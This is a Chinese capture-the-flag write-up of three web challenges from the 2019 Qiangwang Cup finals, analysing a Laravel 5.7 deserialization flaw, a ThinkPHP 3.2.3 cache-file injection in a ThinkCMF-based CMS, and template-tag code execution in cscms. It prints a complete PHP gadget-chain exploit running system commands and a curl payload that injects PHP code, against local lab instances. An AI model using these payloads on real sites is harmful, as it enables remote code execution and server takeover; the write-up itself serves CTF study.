2019强网杯线下Web题解

2019-06-23 约 301 字 预计阅读 2 分钟

声明:本文 【2019强网杯线下Web题解】 由作者 mochazz 于 2019-06-23 09:30:00 首发 先知社区 曾经 浏览数 200 次

感谢 mochazz 的辛苦付出!

本篇文章记录了2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c

laravel

先通过如下命令将 Web 网站搭起来,通过查看 composer.json 文件可知该网站采用了 Laravel 5.7 版本框架。如果有关注过 Laravel 的漏洞,应该知道该版本的 Laravel 存在一个远程代码执行漏洞,我们继续看代码部分。

➜  laravel-5.7 composer install
➜  laravel-5.7 php -S 0.0.0.0:8000 -t public

框架的路由也不多,找到对应的控制器,发现明显是一个反序列化漏洞,估计就是利用反序列化进行代码执行了。

直接通过 CVE 就能找到相关漏洞分析文章,虽然作者删了原文,但是还是可以通过 google 快照找到 EXP

该漏洞主要是利用了 Illuminate\Foundation\Testing\PendingCommand 类的 run 方法来执行命令,具体漏洞的分析见下篇文章。我们可以构造 EXP 如下:

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}

namespace{
    $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('ls'),$genericuser,$application);
    echo urlencode(serialize($pendingcommand));
}

?>

将上述文件放在 public 目录下生成 EXP 即可,执行 ls 命令结果如下:

yxtcms

题目说明:

已经删除可用的install , admin, UpdateController.class.php和SettingController.class.php文件夹和文件,相关思路请不要尝试。

题目提供了源码,可以发现该 cms 基于 thinkcmf 二次开发,而 thinkcmf 用的就是 ThinkPHP

thinkcmf 有两个大分支,一个基于 ThinkPHP3 ,另一个基于 ThinkPHP5 ,所以我们要先查一下该 ThinkPHP 的版本。如下图所示,可以发现是其版本是 3.2.3 ,而这个版本的 ThinkPHP 最出名的 RCE 就属缓存设计缺陷 getshell 了,漏洞成因和 ThinkPHP5 版本的基本一样,详细分析可以参考: ThinkPHP5漏洞分析之代码执行(八)

为了确定该漏洞没有被人为修复,我们可以看一下缓存设计文件的代码。具体代码如下图所示,可以发现 第19行 代码将缓存数据写入 PHP文件中,虽然开头有注释符,但我们可以使用换行符( %0a)绕过。

ThinkPHP3.2.3 开发手册可知,可以通过 S 方法进行数据缓存。

我们全局搜索一下哪些方法调用了 S 函数,会发现 thinkcmf 中的动态更新配置函数 sp_set_dynamic_config 似乎比较好利用,因为其将传入的 $data 变量和系统配置变量数组合并,并将合并数据写入缓存中。

我们继续搜索何处调用了 sp_set_dynamic_config 函数,会发现除了题目删掉的 admin、install 目录外,还有四处调用了该函数。其中只有第二个可以直接访问,其貌似都要登录。

所以我们根据 ThinkPHP3.2.3 的访问规则访问即可, payload 如下:

curl -d 'authoCode=%0aphpinfo();//' 'http://0.0.0.0:8000/index.php?g=api&m=oauth&a=injectionAuthocode'

这里的缓存文件名实际上就是缓存变量名的 md5 值,例如这题中 S("sp_dynamic_config",$configs) 对应的文件名就是 md5("sp_dynamic_config")

cscms

同样题目给了源码,提示说删了 admin 目录、 install.php ,于是上 CVE、CNVD、seebug 上搜了一下,没有发现有用的 RCE 漏洞。我们先从源码中搜集一些版本信息,可以看到该 CMS 用的是 CI 框架,版本为 3.1.3CMS 本身的版本为 4.1.75

➜  html grep -Rni 'version'
cscms/config/sys/Cs_Version.php:4:define("CS_Version","4.1.75");
cscms/system/core/CodeIgniter.php:58:   const CI_VERSION = '3.1.3';

我们可以上该 CMS 官网看一下更新日志,从中找寻漏洞点。如下图所示,可以看到该 CMS 存在 SSTI 漏洞,遂及将补丁下载下来分析。

补丁中主要有两个文件发生变化:

  • cscms/app/helpers/common_helper.php删除了:get_file_mime方法
  • cscms/app/core/CS_Input.php增加了:get、post、post_get、get_post四个方法

看样子,好像原先的 SSTI 漏洞是由于 GET、POST 引起的,因为这里并未发现对过滤规则的修改。其实这个 CMS 我第一眼看过去,和 海洋CMS、苹果CMS、DuomiCMS 有点像,而这几个 CMS 都存在模板标签注入导致代码执行的问题,那么我们尝试全局搜索一下 eval 函数。从搜索结果中,我们可以看出这个 CMS 的写法真的和前面提到的几个 CMS 很像,所谓的 SSTI 极有可能就是模板标签注入。

细看代码,我们会发现程序会将 {cscmsphp} 标签中包裹的代码当做 PHP 代码来执行。

于是随手试了一下,发现搜索处果然存在代码执行,就是不知道当时比赛的时候这个 dance 模块有没配置开放。

如果没有配置开放的话,还可以利用留言处注入 payload 。具体可以参考其他 writeup

其他WP

实战:2019 强网杯 final Web Writeup

强网杯决赛RW的3个Web题

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now